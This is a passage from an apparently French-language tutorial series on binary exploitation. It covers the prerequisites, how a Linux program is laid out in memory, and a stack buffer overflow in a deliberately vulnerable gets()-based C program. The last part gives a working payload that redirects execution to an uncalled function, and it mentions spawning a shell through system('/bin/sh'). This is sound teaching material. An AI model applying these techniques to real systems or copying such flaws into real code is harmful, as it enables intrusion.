exploitées seront les mêmes pour tout le monde.📋 Prérequis pour bien entamer ce coursOn aurait bien aimé que ce type de cours puisse être accessible à tout un chacun. Malheureusement, il s’agit d’un cours qui nécessite tout de même quelques connaissances au préalable 🤓.En effet, pour chercher des vulnérabilités, il est nécessaire d’une part de comprendre le fonctionnement d’un binaire, d’autre part, d’être assez à l’aise techniquement parlant pour y trouver des vulnérabilités.Ajoutés à cela les connaissances nécessaires pour exploiter lesdites vulnérabilités : ce n’est chose aisée lorsque l’on part de 0.TL-DR Savoir programmer en C ou au moins pouvoir comprendre un code écrit en C (sans pour autant être un pro du C) ; Être à l’aise en reverse dans la compréhension de l’assembleur x86 ; Savoir utiliser de manière basique un débogueur et un décompilateur/désassembleur ; Savoir se débrouiller avec une distribution Linux ; Savoir se débrouiller et ne pas baisser les bras quand on fait face à un problème.Version longueSi vous ne remplissez pas un de ces prérequis, pas de panique, il y a des ressources disponibles et ce n’est qu’une question de temps avant que vous puissiez revenir ici et démarrer ce cours.Programmer en CIl n’est pas demandé d’avoir un niveau de pro en C et d’avoir passé des années et des années à programmer dans ce langage. Néanmoins, il est nécessaire d’avoir les bases et comprendre de quoi on parle lorsque l’on lit du code décompilé.Étant donné que l’on n’aura pas le temps de nous attarder sur les notions du C que nous verrons lors de ce cours (structures, variables globale, mémoire dynamique, pointeur de fonction, types de données …), il est important de les connaître en amont.🎒 RessourcesNous sommes (presque !) tous passés par le fameux cours de C du Site Du Zéro (actuellement OpenClassrooms) qui aborde ce langage de programmation avec pédagogie. En le suivant et en vous exerçant vous n’aurez pas de difficulté à comprendre les différents bouts de code C que nous rencontrerons.Être à l’aise en reverseL’exploitation de vulnérabilités demande souvent, voire systématiquement, de lire le code assembleur du programme avant de savoir comment adapter son exploit. Il est donc important de pouvoir comprendre du code assembleur x86_64.De plus, dans les challenges de pwn, nous avons rarement accès au code source. Nous sommes donc très souvent confrontés à une étape préalable de reverse afin de comprendre le programme avant d’y rechercher des vulnérabilités.Vous n’êtes pas obligés d’être des cracks en reverse qui comprennent instantanément ce que fait un programme en lisant l’assembleur (perso je ne sais pas le faire 😅). Ce qu’il faut connaître pour ne pas être perdu sont les choses suivantes : savoir lire de l’assembleur et ne pas avoir de mal à comprendre de nouvelles instructions ; connaître les principaux registres x86/x86_64 et leur utilité ; le fonctionnement de la pile ; le fonctionnement des différents types de variables (variables locales, globales, tableau, pointeurs, structures …) ; savoir utiliser un débogueur et un décompilateur/désassembleur.🎒 RessourcesÇa tombe bien, vous êtes au bon endroit !Nous avons un cours sur le site pour apprendre le reverse. Si vous suivez ce cours jusqu’à la fin, vous devriez avoir le niveau en termes de rétro-ingénierie pour entamer ce cours.Si vous estimez ne toujours pas être à l’aise en reverse, n’hésitez pas à faire quelques crackmes pour consolider vos connaissances.LinuxNous allons nous intéresser lors de ce cours aux programmes ELF. Ainsi, nous allons souvent compiler, patcher, exécuter des programmes sous Linux. Il est donc important de savoir réaliser ces tâches sans y perdre trop de temps.De plus, lors de l’exploitation des binaires, nous serons confrontés à des mécanismes de sécurité présents sous Linux (permissions, possession …) qu’il est bon de connaître pour ne pas être déboussolé.Par ailleurs, nous allons procéder à des installations d’outils dont certains seront peut-être à compiler, d’autres dont la modification de fichiers de configuration sera requise. Ainsi, en fonction de votre distribution, de votre configuration etc., il est possible que vous ayez à mettre la main dans le cambouis pour faire en sorte de réussir l’installation d’un outil ou d’un programme.🎒 RessourcesJe ne peux que vous recommander le cours assez complet du Site Du Zéro (Openclassrooms) permettant de s’initier à Linux : ici. Il s’agit d’un cours qui commence à dater, il se peut que certains chapitres et certaines commandes ne soient plus d’actualité. Mais globalement le cours est très bien fait !" }, { "title": "Partie 2 - Rappels - chargement et exécution d’un programme en mémoire", "url": "/posts/introduction_au_pwn_partie_2/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-05-07 08:00:00 -0200", "snippet": "Rappels : chargement et exécution d’un programme en mémoireIl existe différents types de vulnérabilités qui peuvent être présents dans un programme tout comme il existe différentes manières de les ...", "content": "Rappels : chargement et exécution d’un programme en mémoireIl existe différents types de vulnérabilités qui peuvent être présents dans un programme tout comme il existe différentes manières de les exploiter. Néanmoins, on constate que tous les exploits ont un point commun : il est nécessaire, à un moment ou un autre, de contrôler rip (ou eip en 32 bits).Comme vous le savez, rip est le registre qui pointe vers l’instruction courante. Ainsi, si on arrive à modifier la valeur de rip pour la faire pointer vers des instructions que l’on contrôle, nous pouvons faire exécuter n’importe quelle instruction au processeur et donc manipuler le programme à notre guise.Après tout, le processeur n’est pas très intelligent : il ne fait qu’exécuter les instructions qui sont pointées par rip sans se poser trop de questions. Mais comment on peut contrôler rip alors qu’il n’existe pas d’instruction du type mov rip, xxx ?Justement, en tirant parti de certains mécanismes inhérents au fonctionnement d’un programme (gestion de la pile, gestion de certains pointeurs de fonction…), nous pouvons faire en sorte de contrôler indirectement rip.Pour comprendre comment cela est possible, revoyons ensemble quelques rappels sur le fonctionnement d’un programme.Le programme utilisé N’hésitez pas à jeter un œil au chapitre “Le fonctionnement d’un programme” partie 1 et partie 2 du cours de reverse si des points vous paraissent flous ou si vous avez quelques lacunes 😉.A ce stade vous avez normalement déjà la partie théorique en tête. Je vous propose de regarder ce que cela donne concrètement plutôt que de revoir encore une fois des notions que nous avons déjà explicitées auparavant.Utilisons ce programme :#include \"stdio.h\" #include \"stdlib.h\" #include \"string.h\" int var_globale_non_initialisee; int var_globale_initialisee = 0x213; char global_str[] = \"Veuillez saisir votre nom\"; int main(int argc, char **argv) { int var_locale = 2; if (argc != var_locale) { puts(global_str); return -1; } char *prenom = (char*) malloc(strlen(argv[1])); strcpy(prenom,argv[1]); printf(\"[+] Bonjour %s !\\n\",prenom); return 0; }Pour le compiler, utilisons la commande : gcc -no-pie -fno-pie main.c -o exe. Lors de la compilation, nous utilisons les options -no-pie et -fno-pie afin de désactiver la protection PIE (Position Independant Executable). Il s’agit d’une protection qui permet de ne pas toujours charger les données et les instructions aux mêmes adresses mémoire d’une exécution à une autre. Nous aurons l’occasion de nous pencher plus en détails sur cette protection. Pour l’instant, faisons-en abstraction 🫣.Analyse statiqueAvant d’analyser le programme lors de son exécution, essayons de l’analyser en statique.Tout d’abord, en utilisant file exe, nous obtenons ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f6c6273992d3edadb19ae9e819a1897342579afd, for GNU/Linux 3.2.0, not stripped.On en déduit que : le programme est compilé dynamiquement : les bibliothèques nécessaires au fonctionnement du programme ne sont pas directement contenues dans le programme mais chargées lors de son exécution ; interpreter indique le chemin vers ld : ld est un programme qui s’occupe de charger dynamiquement les bibliothèques nécessaires à notre programme lorsque l’on le lance.Pour l’instant, rien de nouveau sous le soleil. Ouvrons notre programme fraîchement compilé dans IDA. Vous pouvez évidemment ouvrir le programme avec le décompilateur de votre choix. Que ce soit IDA Freeware, Ghidra, Binary Ninja ou autre, les informations que nous allons voir sont présentes dans chacun d’eux. Choisissez l’outil avec lequel vous êtes le plus à l’aise même si lors de ce cours nous allons principalement manipuler IDA.Étant donné que nous ne sommes pas dans un cours purement axé sur le reverse, nous n’allons pas nous attarder sur la compréhension du code décompilé ni de l’assembleur. Par contre, voyons ensemble où se situent les différentes variables de notre programme.Après avoir exploré le programme, voici ce que l’on constate concernant la localisation de ces variables en mémoire : Si vous n’avez pas les mêmes adresses, c’est normal : d’un compilateur à un autre, il peut y avoir des différences de résultat pour un même code en entrée. De la même manière, lorsque nous allons analyser des processus dans un débogueur, il est possible que vous n’ayez pas les mêmes adresses et que certaines zones mémoire (vvar, vdso …) ne soient pas mappées aux mêmes endroits. global_str est une variable globale constante, elle se retrouve donc dans la section .rodata (Read Only Data). Cette section sera dans une zone mémoire 🟣 qui ne sera accessible qu’en lecture seule lors de l’exécution du programme ; var_globale_initialisee est une variable globale initialisée, elle se retrouve donc dans la section .data qui, lors de l’exécution, se situera dans la zone mémoire 🟢 des données, accessibles en lecture et écriture ; var_globale_non_initialisee se trouve dans la section .bss qui ressemble fortement à .data, la seule différence est que toutes les variables dans .bss sont initialisées à 0 lors de l’exécution du programme. Une fois que l’initialisation est terminée, il n’y a plus de différences entre .data et .bss qui se retrouvent dans la zone mémoire 🟢 ; L’espace alloué pour stocker le prénom est dans le tas 🔵 (ou heap). Evidemment, on ne voit pas, lors de l’analyse statique, l’adresse de cet espace alloué car il est alloué dynamiquement, lors de l’exécution du programme ; La variable prenom est située dans la pile 🟡 car il s’agit d’une variable locale. Comme vous pouvez le constater, on sait que l’adresse du pointeur prenom est rsp+18 mais on ne sait pas quelle est exactement cette adresse. De la même manière que le tas, la pile n’est allouée qu’à partir de l’exécution et n’est pas localisée aux mêmes adresses d’une exécution à une autre. Comme prenom est un pointeur, il pointe effectivement vers une adresse qui est dans le tas. Par contre, comme prenom est également une variable locale, il a aussi sa propre adresse dans la pile. Bien sûr, il est toujours possible que certaines variables locales ne soient pas stockées dans la pile mais dans un registre par souci d’optimisation.Après avoir vu tout ça, cela nous rappelle qu’il y a, lors de l’exécution, des zones mémoires qui ont différents droits : R, W et/ou X pour respectivement la lecture, l’écriture et l’exécution.Ce qui nous intéresse, finalement, c’est surtout ce qui se passe en mémoire lors de l’exécution. Pour rappel, notre but ultime est de contrôler rip. Il nous faut donc connaître notre marge de manœuvre en termes d’espace mémoire. Mais là, on voit que la zone de code 🔴 où se promène rip est la seule qui soit exécutable parmi les autres. En plus elle est en lecture seule donc on ne peut même pas modifier le code pour faire ce que l’on veut : ça a l’air compliqué cette histoire 😞…Effectivement, vu comme ça, on a l’impression d’être bloqués. Sauf que, ce cours permet justement de voir comment contourner les protections qui ont été mises en place au fur et à mesure pour sécuriser davantage les programmes.Par exemple, voici quelques pistes que l’on pourrait utiliser : l’adresse de retour des fonctions se trouve dans la pile, si on arrive à la modifier, avec un dépassement de mémoire tampon (buffer overflow) par exemple, il sera possible de faire pointer rip n’importe où. Dans certains programmes très anciens, la pile était exécutable, on pouvait donc y mettre des instructions assembleur (un shellcode) et “sauter” dedans. Nous verrons comment faire dans le cas où la pile n’est pas exécutable ; il est possible de faire en sorte d’allouer des zones mémoire avec les droits rwx afin d’y mettre notre shellcode et y sauter ; il est possible d’utiliser à notre avantage les bibliothèques chargées avec notre programme comme la libc ; il existe bien d’autres pistes que nous verrons en détails en temps voulu 🫣. J’en vois déjà froncer des sourcils et se dire “mais je comprends rien à ce charabia 😵‍💫 !”. Ne vous inquiétez pas, c’est normal. Il est important de passer du temps à comprendre en détails le fonctionnement d’une méthode d’exploitation avant de comprendre vraiment comment ça marche. Il y a peut être certains termes qui vous paraissent flous comme “buffer overflow”, “shellcode”, “libc” etc., nous les verrons ensemble, ne vous inquiétez pas !Analyse dynamiqueNous nous sommes échauffés en ouvrant notre programme dans un décompilateur, désormais voyons ce que nous pouvons tirer comme informations en le lançant dans un débogueur.Pour rappel, notre but ici est de revoir quelques notions essentielles dans le fonctionnement d’un processus mais aussi de commencer à mettre dans un coin de la tête de potentielles méthodes pour contrôler rip et réaliser une exécution de code. Nous utiliserons gdb comme débogueur avec l’extension pwndbg qui est très pratique pour faire du pwn 👌. En revanche, nous changerons de variante de gdb une fois que l’on commencera l’exploitation dans le tas, dans un autre cours. Vous pouvez évidemment utiliser l’extension gdb avec laquelle vous êtes le plus à l’aise (ex: gdb-gef, gdb-peda …) mais certaines commandes ne seront pas présentes ni compatibles d’une extension à une autre. Si vous souhaitez toutes les installer rapidement afin de pouvoir basculer rapidement d’une version à une autre, vous pouvez jeter un œil à la section Installation de plusieurs versions de gdb de l’annexe Annexe n°2 : Gérer plusieurs versions de gdb et principales commandes pour déboguer le tas. Parmi les prérequis de cours, il y a le fait de savoir utiliser un débogueur. Si vous avez des lacunes ou que vous souhaitez vous rafraîchir la mémoire, n’hésitez pas à jeter un œil au chapitre de l’analyse dynamique.Ouvrons le programme dans gdb avec gdb ./exe puis lançons le programme de telle sorte à ce qu’il s’arrête immédiatement dans la fonction _start avec la commande starti.Voici où nous nous trouvons : Nous n’allons sûrement pas avoir les mêmes adresses qui s’affichent dans gdb et c’est normal. En dehors du code de notre programme et des données qu’il utilise, le reste des sections mémoire est soumis à l’ASLR (Address Space Layout Randomization).A ce stade, vous avez sans doute remarqué que rip n’est pas de la forme 0x401xxx. En effet, pour l’instant nous ne sommes pas (encore) dans notre programme, plus précisément dans le code de notre programme. Il ne s’agit pas de la fonction _start de notre programme mais celle de ld. Chaque programme implémente sa propre fonction _start. Ne soyez pas étonnés de voir qu’il y a une fonction _start à l’adresse 0x7ffff7fe3290 et une autre à l’adresse 0x4010D0.Utilisons la commande libs pour voir quels sont les différents mapping en mémoire : A partir d’un terminal bash, il est possible de lire le mapping mémoire d’un processus en lisant le fichier /proc/PID/maps si vous avez suffisamment de droits pour lire le fichier.A partir de là, on peut deviner dans quelles sections mémoire se situe rip. Oui ! A ce stade il se situe dans ld, vous savez, ce programme qui permet de réaliser la phase d’initialisation, dont le chargement des bibliothèques nécessaires.Egalement, on remarque qu’il y a des zones mémoire qui n’apparaissaient pas dans le décompilateur. En effet, il y a des zones mémoire qui ne sont chargées qu’au lancement du programme, nous ne pouvons pas les voir en analyse statique. Pour l’instant, ne nous focalisons pas sur vvar, vdso et vsyscall. Il s’agit de zones mémoire permettant d’optimiser certaines interactions (ex: des syscalls fréquemment utilisés comme gettimeofday) entre le user land et le kernel land. On en reparlera si nécessaire 🙃.C’est pour ça qu’en pwn il ne faut pas seulement analyser le programme en statique car on peut passer à côté de pas mal de choses que l’on pourrait utiliser à notre avantage pour exploiter des programmes.Autre remarque : on constate que ld est bien un programme à part entière au même titre que le notre. Vous pouvez savoir quel est le chemin du linker ld en utilisant ldd ./exe. Cherchez le fichier à l’origine du lien symbolique de /lib64/ld-linux-x86-64.so.2 (dans mon cas) et lancez file dessus pour vous en convaincre. Par exemple en lançant file /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 j’ai ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, BuildID[sha1]=4186944c50f8a32b47d74931e3f512b811813b64, stripped. Vous pouvez d’ailleurs l’exécuter, même s’il ne fera pas grand chose.Aussi bien ld que notre programme sont constitués principalement de 4 zones mémoire : une zone mémoire en lecture seule : il s’agit de l’entête ELF de notre programme. C’est ce que l’on voit, en partie, lorsque l’on fait xxd exe | head ; une zone mémoire en lecture et exécution 🔴 : ce sont les instructions ( ou “code” ) de notre programme ; une autre zone mémoire en lecture seule 🟣 : il s’agit de la zone des données en lecture seule (.rodata …) ; une zone mémoire en lecture et écriture 🟢 : il s’agit de la zone des données modifiables (.bss, .data …).D’ailleurs, vous voyez que la pile (stack) n’appartient pas seulement à notre programme. Toutes les autres bibliothèques (ld, libc etc.) peuvent l’utiliser. La taille des zones mémoire est toujours un multiple d’une page de 0x1000 octets ce qui est bien plus que la taille réelle que prennent toutes les instructions de notre programme (~0x250 octets).Je vous épargne tous les détails de la phase d’initialisation de notre programme : mettons un point d’arrêt dans main avec b main et avançons jusque-là avec c.Tout d’abord, voyons s’il y a du nouveau dans le mapping de la mémoire :Parmi les changements, il y a : le chargement de zones mémoires anonymes; le chargement en mémoire de la libc.Les zones mémoire dites “anonymes” sont des mappings créés avec mmap via l’option MAP_ANONYMOUS. Cela signifie que la zone mémoire sera initialisée avec des 0 contrairement aux autres zones mémoire que l’on vient de voir et qui sont mappées à partir de fichiers (plus précisément leur contenu).Nous n’allons pas nous intéresser à ces mappings anonymes pour l’instant. Nous y reviendrons peut-être pour parler de TLS Thread-Local Storage (rien à voir avec le protocole de sécu’ 😅 ) car cette zone mémoire contient des données qui peuvent nous être bien utiles dans certains cas 😏.La libcQu’est-ce que la libc ?La libc est la bibliothèque standard du langage C. Elle fournit les fonctionnalités de base du système, comme la gestion des fichiers, l’allocation de mémoire, la gestion des processus et la communication, permettant aux programmes de C d’interagir avec le système d’exploitation sans avoir à gérer directement le matériel ou le noyau.C’est cette bibliothèque qui implémente toutes les principales fonctions C que l’on utilise telles que malloc, printf, execve, system …Quand on parle de libc en pwn, il s’agit généralement d’un abus de langage. En effet, il n’y a pas “une” libc : il existe différentes implémentations de la libc, certaines sont orientées performances, taille restreinte, respect strict du standard …Sur votre distribution Linux, vous avez de grandes chances d’avoir la glibc (GNU C Library). Une autre implémentation très connue est la musl libc qui est conçue pour être plus légère et donc plus adaptée pour de l’embarqué. Comme pour ld, il est possible de trouver le chemin de la libc avec ldd ./exe. Vous pouvez même l’exécuter pour savoir quelle est la version de la libc utilisée.🤝 Un ami pour la vie Je vois pas pourquoi on passe autant de temps à parler de la libc. Au final on a juste besoin de savoir qu’elle implémente la majorité des fonctions C, c’est tout 😒.Eh bien détrompez-vous ! La libc a toute son importance en pwn ! Comme c’est elle qui implémente pratiquement toutes les fonctions C que l’on utilise tous les jours, elle va nous permettre, lorsque l’on arrive à contrôler rip, de sauter dans les fonctions que l’on souhaite exécuter et ce, même si notre programme ne les appelle pas à la base 😮.Très souvent lorsque l’on fait du pwn, le but va être in fine d’ouvrir un shell, un terminal quoi. Il y a différentes manières d’y parvenir, les plus connues étant d’appeler system(\"/bin/sh\") ou execve(\"/bin/sh\",NULL,NULL). Cela peut être réalisé sous 3 conditions : on arrive à contrôler rip : on peut donc lui donner n’importe quelle valeur ; on sait où se trouve la fonction à appeler (ex: execve, system …) ; on arrive à contrôler les premiers arguments (rdi, rsi et rdx en x64 ou sur la pile en x86).Pour savoir à quelle adresse se trouve system, par exemple, on peut exécuter p system dans gdb. Cela retourne un résultat du style :$1 = {int (const char *)} 0x7ffff7c50d70 &lt;__libc_system&gt;. Bon, énoncées comme cela, les trois précédentes conditions semblent être faciles à remplir. En réalité elles ne sont pas évidentes, et il y a souvent du boulot pour les satisfaire toutes ensemble. C’est justement l’un des objectifs de ce cours : apprendre à avancer petit à petit à partir d’une vulnérabilité jusqu’à aboutir à un shell.Autre point à noter : c’est la libc qui est chargée d’exécuter la fonction main d’un programme. C’est d’ailleurs ce que l’on voit dans gdb dans la section “Backtrace” :Pour résumer, voici comment on en est arrivé au main depuis le début : En parlant de malloc, je ne vois pas où est la heap dans le mapping mémoire ?A ce stade nous avons arrêté l’exécution à l’entrée de main. La heap n’a pas encore été initialisée. Allons directement à la fin du main avec la commande fin. Relançons libs et voyons ce que cela donne.La heap / le tasNous obtenons ceci :Le voilà en bleu ! Nous n’allons pas aller plus loin concernant le fonctionnement du tas car cela demande beaucoup de détails à tel point qu’il faille en faire tout un chapitre. Même un chapitre entier n’est pas suffisant pour y aborder toutes les techniques d’exploitation de la heap alors accrochez-vous 🤯 !La fin du processus Tu nous as pas dit comment le programme finit après avoir retourné de main ?J’ai volontairement omis ce détail pour l’instant. La terminaison d’un processus n’est pas très compliquée, quelques fonctions sont appelées pour permettre au processus de quitter proprement.Cela n’est pas très intéressant pour nous de savoir comment cela est fait exactement. Cela pourra nous être utile dans certains cas où nous pouvons réaliser une écriture arbitraire en mémoire : nous pourrons modifier certains pointeurs de fonctions appelées à la fin d’un processus (lorsque exit est appelée par exemple) afin d’exécuter des fonctions de notre choix (ex : system, execve etc.).Nous en reparlerons beaucoup plus loin dans les chapitres liés au tas si je ne me trompe pas.📋 Synthèse la condition sine qua non pour pouvoir exploiter une vulnérabilité en pwn est de contrôler rip ; il existe différentes manières d’y parvenir tout comme il existe différentes vulnérabilités exploitables ; nous avons revu rapidement la manière dont sont stockées en mémoire les variables dans un programme ; l’analyse statique à elle seule ne permet pas d’avoir un aperçu exhaustif de l’environnement d’exécution du programme : pas de pile, de tas, de bibliothèque ; nous avons vu comment est chargé un programme en mémoire dans les grandes lignes ; la libc, qui implémente les fonctions C standards, peut nous être très utile lors de la phase d’exploitation." }, { "title": "Partie 3 - Comprendre la vulnérabilité du stack Buffer Overflow", "url": "/posts/introduction_au_pwn_partie_3/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-05-06 08:00:00 -0200", "snippet": "Comprendre la vulnérabilité du stack buffer overflowJe sais à quel point ça peut être pénible d’enchaîner les notions théoriques sans pratiquer. Toutefois ces rappels et informations supplémentaire...", "content": "Comprendre la vulnérabilité du stack buffer overflowJe sais à quel point ça peut être pénible d’enchaîner les notions théoriques sans pratiquer. Toutefois ces rappels et informations supplémentaires sont nécessaires afin de comprendre l’environnement dans lequel s’exécutent les programmes que nous allons exploiter.Comme promis, nous n’allons pas nous taper que de la théorie et nous allons jongler avec un peu de pratique. Préparez-vous à réaliser votre premier pwn !Stack buffer overflowLe stack buffer overflow (dépassement de mémoire tampon sur la pile 🇫🇷) est généralement la première vulnérabilité que l’on découvre et exploite car elle est assez accessible dans des programmes peu protégés. Ne pas confondre stack buffer overflow et stack overflow (d’où le nom du site éponyme) qui sont deux bugs différents. Le point commun est qu’il s’agit dans les deux cas d’un dépassement de mémoire dans la pile. Un stack overflow survient lorsque la pile d’exécution dépasse l’espace mémoire qui lui est alloué. Cela peut arriver, par exemple, en appelant une fonction récursive sans condition d’arrêt. Quant au stack buffer overflow, nous allons voir ci-après en quoi cela consiste 😉.Comme son nom le précise, cette vulnérabilité se situe dans la pile. En effet, il est possible d’avoir des buffer overflow dans le tas, .bss, .data. Selon le lieu où a lieu le dépassement, la manière d’exploiter ne sera pas la même.Voici le programme vulnérable que nous allons utiliser :#include \"stdio.h\" void goal() { puts(\"Hop hop hop, comment êtes vous arrivés ici ?\"); return; } int main() { char prenom[32] = {0}; gets(prenom); printf(\"Bonjour %s !\\n\",prenom); return 0; }Un programme simple comme bonjour, c’est le cas de le dire. Notre objectif sera d’appeler la fonction goal sachant qu’elle n’est appelée à aucun moment dans notre programme.Pour le compiler nous utilisons gcc -no-pie -fno-stack-protector main.c -o vuln .Vous pouvez également le télécharger ci-dessous si vous avez une distribution différente de Ubuntu / Debian ou que vous souhaitez avoir exactement le même environnement d’exécution. ⬇️ Téléchargement : pwn-stack-vuln.zip 🔎 SHA256 &amp; Analyse Virus Total : ed1892516dfb89d56069445ddd5c3ed4144ebc93128f64839435a39e69c38159L’archive contient un Dockerfile afin que vous puissiez avoir un terminal dans le conteneur et y exécuter le programme sans soucis avec :# Constructiondocker build -t pwn-stack-vuln .# Lancementdocker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-stack-vulnPour plus d’informations sur les exercices et challenges utilisables via Docker, c’est par ici. Même après la compilation, la fonction goal reste présente dans le code bien qu’elle ne soit jamais appelée. Vous pouvez d’ailleurs la voir en désassemblant le programme avec objdump. En revanche, si on active les options d’optimisation de gcc tels que -O3, elle sera supprimée du programme car il s’agit de code mort qui ne sera (en théorie 😏) jamais exécuté.Concernant les options utilisées : -no-pie : nous l’avons déjà utilisée à maintes reprises, cela permet de désactiver le fait que notre code (ses instructions) puisse être chargé à des adresses différentes et aléatoires d’une exécution à une autre ; -fno-stack-protector : nous désactivons une autre protection appelée stack cookie ou canaris en français. C’est une protection au niveau de la pile, nous la désactivons, pour l’instant, afin d’exploiter plus facilement le programme. Au fur et à mesure que nous allons avancer dans ce cours, nous allons activer petit à petit toutes ces protections afin d’apprendre à les contourner.Si vous n’avez pas encore trouvé la vulnérabilité présente dans ce programme, normalement gcc vous donne un indice lors de la compilation : main.c:(.text+0x39): avertissement : the 'gets' function is dangerous and should not be used..Pourquoi tant nous faire peur ? On a pourtant utilisé correctement gets qui va lire le prénom et l’afficher, rien de plus. Exécutons notre programme :./vulnazerty Bonjour azerty !Bah voilà il y a rien de problématique en apparence. Essayons avec un nom assez long :./vulnJean Louis David Bonjour Jean Louis David !Toujours pas de soucis. Essayons avec un nom plus long, mais genre vraiment plus long comme celui-ci../vulnUvuvwevwevwe Onyetenyevwe Ugwemuhwem Osas Bonjour Uvuvwevwevwe Onyetenyevwe Ugwemuhwem Osas ! [1] 555062 segmentation fault ./vulnEt là, c’est le drame ! On voit une erreur du type segmentation fault (aussi appelée SIGSEGV). Le souci avec ce type d’erreur en C est que l’on ne sait pas réellement quelle en est la cause.SIGSEGV est un signal qui est envoyé à un programme généralement lorsqu’il accède à une adresse invalide ou à laquelle il n’a pas le droit d’accéder (lire, écrire, exécuter …). En exécutant man 7 signal, nous pouvons voir la liste des signaux dont celui qui nous intéresse : SIGSEGV P1990 Core Invalid memory reference.Comme ce signal n’est pas géré explicitement par notre programme (avec sigaction par exemple), il applique l’action par défaut Core qui est, toujours selon le manuel de signal : Core Default action is to terminate the process and dump core (see core(5)). Il est intéressant de noter qu’un core dump peut être généré. Il s’agit d’un fichier contenant des informations sur le processus qui a planté. D’ailleurs il est possible d’ouvrir ce core dump dans gdb pour voir où a eu lieu exactement le plantage. Néanmoins, la génération de core dump n’est pas toujours activée par défaut. Vous pouvez l’activer avec la commande bash ulimit -c unlimited. Relancez ensuite le programme en le faisant planter, désormais vous devriez avoir un fichier core.XXXXX qui a été généré. Vous pouvez ensuite l’ouvrir dans gdb pour voir ce qui s’est passé avec la commande : gdb ./vuln core.XXXXX .Bon, c’est vrai que le nom renseigné est un peu trop long. Il fait 41 caractères alors que notre buffer prenom ne peut en contenir que 32. On a donc dépassé le nombre de caractères que peut contenir notre tableau de caractères, c’est bien ce que l’on appelle buffer overflow.On remarque d’ailleurs que notre programme a tout de même affiché le prénom bien que celui-ci soit plus grand que notre buffer. Cela signifie qu’il a bien été copié dans prenom et que le crash n’a eu lieu qu’après avoir appelé printf.Exploitation🔎 Diagnostique du plantageNous savons comment faire planter notre programme vulnérable mais nous ne savons pas comment l’exploiter ni par où commencer. Voyons si nous ne pouvons pas avoir plus d’informations dans gdb car le message d’erreur segmentation fault n’est pas très explicite.Ouvrons le programme dans gdb et lançons-le avec run. Utilisons cette entrée AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF :Mais que s’est-il donc passé ? A partir de ce que qu’affiche gdb nous devrions être en mesure de comprendre l’origine exacte du crash : Tout d’abord, gdb nous dit qu’il s’agit d’un plantage de type SIGSEGV. De plus, nous savons maintenant lors de l’exécution de quelle instruction cela a eu lieu : dans le main à l’adresse 0x4011ee. On voit également quelle est l’instruction à l’adresse 0x4011ee. Il s’agit de l’instruction ret. Enfin, on constate que l’élément en tête de la pile est 'FFFFFFFF' ce qui équivaut en hexadécimal à 0x4646464646464646. Comment le plantage a pu avoir lieu seulement au moment du ret alors que le buffer a été dépassé bien avant ?Voici l’état de la pile avant que leave ; ret ne soit exécuté, avant et après l’appel à gets :Ça vous rappelle des souvenirs 😏 ? Si vous vous penchez sur ce que fait l’épilogue leave ; ret, vous devriez comprendre exactement l’erreur affichée dans gdb.Pour rappel, leave ; ret est strictement équivalent à faire :\tmov rsp, rbp\tpop rbp\tpop rip Je vous conseille de faire un schéma à la main pour décortiquer ces différentes instructions.Dans gdb, voici ce que contient la pile :Vous l’aurez compris, lorsque ret est exécutée, la valeur 0x4646464646464646 (représentation ASCII de \"FFFFFFFF\") est stockée dans rip car il la considère comme étant l’adresse de retour. Or, comme cette adresse n’appartient à aucune zone mémoire exécutable, cela génère un SIGSEGV.On sait exactement dans notre string quels sont les caractères qui vont être stockés dans rip, maintenant, “y a plus qu’à”. Nous n’avons pas choisi la string AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF au hasard. En regroupant les caractères 8 par 8 dans un programme x64 ( ou 4 par 4 en x86), on peut savoir à partir de quel offset les caractères dans notre string vont nous permettre de contrôler rip.Le nerf de la guerre : contrôler ripMaintenant que nous savons exactement quelle est l’influence de notre entrée utilisateur sur le programme, nous pouvons enfin contrôler rip. Pour y parvenir, nous allons adapter notre payload.Le payload (ou charge utile 🇫🇷) est les données que nous allons envoyer afin d’exploiter la vulnérabilité comme bon nous semble.Notre objectif étant d’exécuter la fonction goal, il nous faut d’abord savoir quelle est son adresse en mémoire. Il y a deux manières de le faire : en statique : avec la commande objdump -d -Mintel vuln | grep goal ; en dynamique : avec la commande p goal dans gdb. Comme la protection PIE n’est pas activée, l’adresse affichée dans gdb sera la même d’une exécution à une autre.Dans mon cas, l’adresse de goal est 0x401176, il se peut que vous ayez une adresse différente si vous avez compilé le programme vous-mêmes. Cela ne posera pas de problème tant que vous adaptez les prochaines commandes et scripts avec vos adresses. Il va donc falloir envoyer l’adresse 0x401176 de telle sorte à ce que ce soit l’adresse de retour.Plus précisément, il va falloir envoyer 0x0000000000401176 afin d’être sûrs que les octets de poids forts soient égaux à 0. En effet, si on envoie seulement 0x401176, gets ne va écraser que les 3 octets de poids faible de l’adresse de retour. Il se trouve que dans notre cas l’adresse de retour est dans la libc (__libc_start_call_main), par exemple : 0x7ffff7c29d90. Si on envoie que les 3 octets de poids faible le résultat (après appel à gets) : 0x7ffff7401176 et cela n’est pas l’adresse que l’on veut envoyer …Comme l’adresse 0x0000000000401176 ne contient pas que des caractères ASCII, nous ne pouvons pas simplement saisir caractère par caractère avec le clavier notre payload. Nous verrons plus tard comment communiquer de manière efficace avec un processus, pour l’instant faisons cela à la main avec echo :echo -ne 'AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEE\\x76\\x11\\x40\\x00\\x00\\x00\\x00\\x00' | ./vulnBonjour AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEv@ ! Hop hop hop, comment êtes vous arrivés ici ? [2] 563551 done echo -ne | 563552 segmentation fault (core dumped) ./vulnOn est bien arrivés dans la fonction goal ! Le programme a ensuite certes planté, mais on y est passés !En fait, comme on est entrés dans goal sans passer par un appel conventionnel du type call goal, la stack frame à la sortie de goal ne permet pas de retourner dans une potentielle fonction appelante. Y a un truc que je pige pas 🤔… On a modifié rip avec une valeur correcte mais lors de l’exécution de l’instruction leave, avant le ret, rbp va avoir la valeur 